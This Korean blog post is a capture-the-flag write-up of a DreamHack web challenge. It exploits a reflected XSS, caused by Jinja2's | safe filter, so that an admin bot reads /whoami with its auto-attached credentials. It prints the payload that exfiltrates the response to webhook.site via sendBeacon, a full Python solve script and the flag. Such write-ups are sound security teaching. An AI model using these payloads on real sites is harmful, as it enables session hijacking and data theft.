[🥉 Bronze 1] 봇의 admin 헤더를 빌려 /whoami 털기 — DreamHack Are you admin? 풀이

2026-06-04·1분 읽기·

[🥉 Bronze 1] 봇의 admin 헤더를 빌려 /whoami 털기 — DreamHack Are you admin? 풀이

intro 페이지의 name이 `| safe`로 이스케이프 없이 렌더되는 reflected XSS. 봇은 모든 요청에 admin Basic-Auth 헤더를 자동으로 붙이고 다니므로, 봇 컨텍스트에서 /whoami를 fetch하면 admin으로 인증돼 FLAG가 나온다. 이를 webhook으로 빼낸 과정.

문제: DreamHack — Are you admin? 분류: Web 난이도: 🥉 Bronze 1 FLAG: DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}


문제 개요

항목내용
문제명Are you admin?
난이도🥉 Bronze 1
분류Web (Flask + Selenium 봇)
제공 파일 / 서버app.py 등 소스 일체 / http://<instance-host>:<port>/ (인스턴스마다 변경)
핵심 취약점 / 기법reflected XSS로 봇의 admin Basic-Auth 헤더를 빌려 /whoami 접근

"Hmm... You look suspicious. Are you admin?" 플래그는 /whoami에 있는데, 거긴 admin:PASSWORD로 Basic 인증을 통과해야만 열린다. 나는 그 비밀번호를 모른다.

하지만 비밀번호를 아는 쪽이 하나 있다. 내가 신고한 URL을 admin 자격증명을 달고 직접 열어보는 봇이다. 그 봇 안에서 스크립트를 돌릴 수만 있으면, 비밀번호를 몰라도 봇의 권한으로 /whoami를 읽을 수 있다.

/intro 기본 화면
/intro 기본 화면


🔬 분석 — XSS 싱크와 봇 헤더, 그리고 잠긴 /whoami

볼 곳은 세 군데다.

1) /intro — name이 이스케이프 없이 렌더된다.

{% if name and detail %}
    <p>Hello, my name is <strong>{{ name | safe }}</strong>.</p>
    <p>{{ detail }}</p>
{% endif %}

detail은 평범하게 {{ detail }}이라 Jinja2가 자동 이스케이프한다. 그런데 name에는 | safe 필터가 붙어 있다. 입력을 그대로 HTML로 내보낸다는 뜻이라, 여기에 <script>를 넣으면 실행된다. 반사형 XSS 싱크는 name이다.

/intro?name=... — name이 HTML로 그대로 렌더된다 (detail은 escape)
/intro?name=... — name이 HTML로 그대로 렌더된다 (detail은 escape)

2) /report — 봇이 admin 헤더를 달고 내 URL을 연다.

def access_page(name, detail):
    user_info = f'admin:{PASSWORD}'
    encoded_user_info = b64encode(user_info.encode()).decode()
    ...
    driver.execute_cdp_cmd(
        'Network.setExtraHTTPHeaders',
        {'headers': {'Authorization': f'Basic {encoded_user_info}'}}
    )
    driver.execute_cdp_cmd('Network.enable', {})
    driver.get("http://127.0.0.1:8000/")
    driver.get(f"http://127.0.0.1:8000/intro?name={quote(name)}&detail={quote(detail)}")

핵심은 setExtraHTTPHeaders다. 이건 봇 브라우저가 보내는 모든 요청에 Authorization: Basic base64(admin:PASSWORD)를 자동으로 얹는다. 페이지 로드든, 그 페이지 안에서 JS가 던지는 fetch든 가리지 않는다.

/report에 URL을 신고하면 봇이 그 헤더를 단 채 /intro?name=...을 연다. 즉 내 XSS가 admin 자격증명이 살아있는 컨텍스트에서 실행된다.

3) /whoami — admin이면 FLAG.

if ((id == 'admin') and (password == '[**REDACTED**]')):
    message = FLAG
    return render_template('whoami.html', id=id, message=message)
else:
    message = "You are guest"

내가 그냥 /whoami를 열면 헤더가 없어 guest:guest로 처리되고 "You are guest"만 본다.

/whoami 일반 접근 — guest로 막힌다
/whoami 일반 접근 — guest로 막힌다

봇은 admin 헤더를 들고 있으니, 봇이 /whoami를 fetch하면 응답에 FLAG가 담긴다. 세 조각이 한 줄로 꿰인다.

공격 흐름 — 봇의 admin 헤더를 빌려 /whoami를 읽고 webhook으로 회수
공격 흐름 — 봇의 admin 헤더를 빌려 /whoami를 읽고 webhook으로 회수

💣 핵심 — 봇에게 /whoami를 대신 읽혀서 빼돌린다

페이로드는 name에 들어간다. 봇 안에서 /whoami를 fetch하면 admin 헤더가 자동으로 붙으니, 그 응답을 외부로 흘려보내면 된다.

이 문제엔 xss-1의 /memo 같은 same-origin 저장소가 없다. 그래서 수신은 외부 endpoint(webhook.site)로 받고, 전송은 navigator.sendBeacon을 쓴다. sendBeacon은 페이지가 닫히는 와중에도 요청을 끝까지 보내줘서, 봇이 1초 뒤 종료되는 이 상황에 잘 맞는다.

<script>fetch('/whoami').then(r=>r.text()).then(t=>navigator.sendBeacon('https://webhook.site/<uuid>/',t))</script>

/report 폼의 path는 서버에서 urlparse → parse_qs로 쪼개져 name/detail을 뽑는다. 그러니 path는 /intro?name=<URL인코딩한 페이로드>&detail=hi 형태로 만들어 보낸다. 페이로드 안의 &, <, > 같은 문자가 쿼리 파싱을 깨지 않도록 name 값은 인코딩해 둔다.

/report — 여기에 path를 신고하면 봇이 움직인다
/report — 여기에 path를 신고하면 봇이 움직인다


🚀 Full Exploit

/report에 페이로드를 신고해 봇을 돌리고, webhook.site API로 봇이 흘린 /whoami 응답을 회수한다.

#!/usr/bin/env python3
import re, time, urllib.parse, requests
 
BASE = "http://host8.dreamhack.games:20744"
WEBHOOK_UUID = "65bd71bc-aa1f-4cbf-88b8-218b56d14fec"
WEBHOOK = f"https://webhook.site/{WEBHOOK_UUID}/"
 
# name(=XSS 싱크) 페이로드: 봇이 admin 헤더로 /whoami 를 읽어 webhook 으로 통째로 흘림
payload = ("<script>fetch('/whoami').then(r=>r.text())"
           f".then(t=>navigator.sendBeacon('{WEBHOOK}',t))</script>")
 
# /report 의 path: urlparse→parse_qs 로 name 을 뽑으므로 값은 URL 인코딩
path = "/intro?name=" + urllib.parse.quote(payload, safe="") + "&detail=hi"
 
# 1) 봇 트리거
r = requests.post(f"{BASE}/report", data={"path": path}, timeout=20)
print("[*] /report:", "Success" if "Success" in r.text else r.text[:120])
 
# 2) webhook 에서 봇이 흘린 /whoami 응답 회수
flag = None
for _ in range(10):
    time.sleep(2)
    api = requests.get(f"https://webhook.site/token/{WEBHOOK_UUID}/requests?sorting=newest").json()
    for req in api.get("data", []):
        m = re.search(r"DH\{[^}]+\}", req.get("content") or "")
        if m:
            flag = m.group(0); break
    if flag: break
 
print("[+] FLAG:", flag)
[*] /report: Success
[+] FLAG: DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}

webhook에 도착한 본문을 열어보면, 봇이 admin으로 인증돼 받은 /whoami HTML이 그대로 들어있다.

<h1>Hello</h1>
<p><strong>ID:</strong> admin</p>
<p><strong>Message:</strong> DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}</p>
solve.py 실행 — 봇 트리거 후 webhook에서 FLAG 회수
solve.py 실행 — 봇 트리거 후 webhook에서 FLAG 회수
DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}


📝 정리

| safe는 자동 이스케이프를 끄는 스위치다.

Jinja2는 기본적으로 출력 변수를 이스케이프해서 XSS를 막아준다. name에 붙은 | safe 한 토막이 그 보호를 정확히 그 변수에서만 꺼버렸다. 사용자 입력에 | safe를 붙이는 건 거의 항상 사고로 이어진다.

자격증명을 헤더에 박아 돌아다니는 봇은 그 자체가 권한 대리인이다.

봇은 setExtraHTTPHeaders로 admin 헤더를 모든 요청에 자동 첨부했다. 그 덕에 봇 안에서 도는 내 fetch('/whoami')에도 admin 헤더가 붙었다. 나는 비밀번호를 끝까지 몰랐지만, 비밀번호를 아는 봇에게 대신 요청을 시켜 결과만 받아냈다.

훔친 데이터의 출구는 상황에 맞게 고른다.

같은 출처에 저장소가 있으면 거기로 흘리면 되고(xss-1의 /memo), 없으면 외부 endpoint를 쓴다. 봇이 곧 종료되는 타이밍이라 sendBeacon처럼 unload에도 살아남는 전송을 골랐다. 같은 XSS여도 출구 설계는 매번 다르다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 2] 봇의 쿠키를 /memo로 흘려 회수하기 — DreamHack xss-1 풀이
blog

[🥉 Bronze 2] 봇의 쿠키를 /memo로 흘려 회수하기 — DreamHack xss-1 풀이

/vuln이 입력을 이스케이프 없이 그대로 뱉는 reflected XSS. flag를 쿠키로 들고 페이지를 방문하는 봇에게 스크립트를 주입해 document.cookie를 같은 서버의 /memo로 흘려보내고, 그 memo를 직접 읽어 플래그를 회수한 과정을 정리했다.
#dreamhack#ctf#web+5
2026-06-04#dreamhack +6
[🥉 Bronze 2] 대소문자 한 끗으로 뚫는 XSS 필터 — DreamHack XSS Filtering Bypass 풀이
blog

[🥉 Bronze 2] 대소문자 한 끗으로 뚫는 XSS 필터 — DreamHack XSS Filtering Bypass 풀이

script·on·javascript: 를 지우는 필터가 있는데도, 검사는 소문자로 하고 치환은 원본 그대로 한다는 한 줄 차이 때문에 <sCrIpt> 가 그대로 살아남는다. 봇이 들고 방문하는 flag 쿠키를 동기 XHR로 /memo에 흘려 회수한 과정을 정리했다. location.href 비동기 전송이 driver.quit 레이스에 걸려 실패했던 삽질까지 담았다.
#dreamhack#ctf#web+6
2026-06-26#dreamhack +5
[🥇 Gold 4] 취약점을 찾는 게 아니라 막는 문제 — DreamHack PATCH-1 풀이
blog

[🥇 Gold 4] 취약점을 찾는 게 아니라 막는 문제 — DreamHack PATCH-1 풀이

122줄짜리 Flask 메모 API 에 심어 둔 취약점을 전부 패치해야 flag 가 나오는 문제. f-string SQLi 두 곳, format() 이 만들어 낸 Jinja2 SSTI 와 저장형 XSS, 메모 소유자 검증 누락, 소스에 박힌 secret_key 까지 여섯 군데를 로컬에서 재현해 놓고 고쳤다. 공격만 막고 끝나면 안 되고 SLA(기능 회귀) 도 같이 통과해야 한다.
#dreamhack#ctf#web+8
2026-08-06#dreamhack +5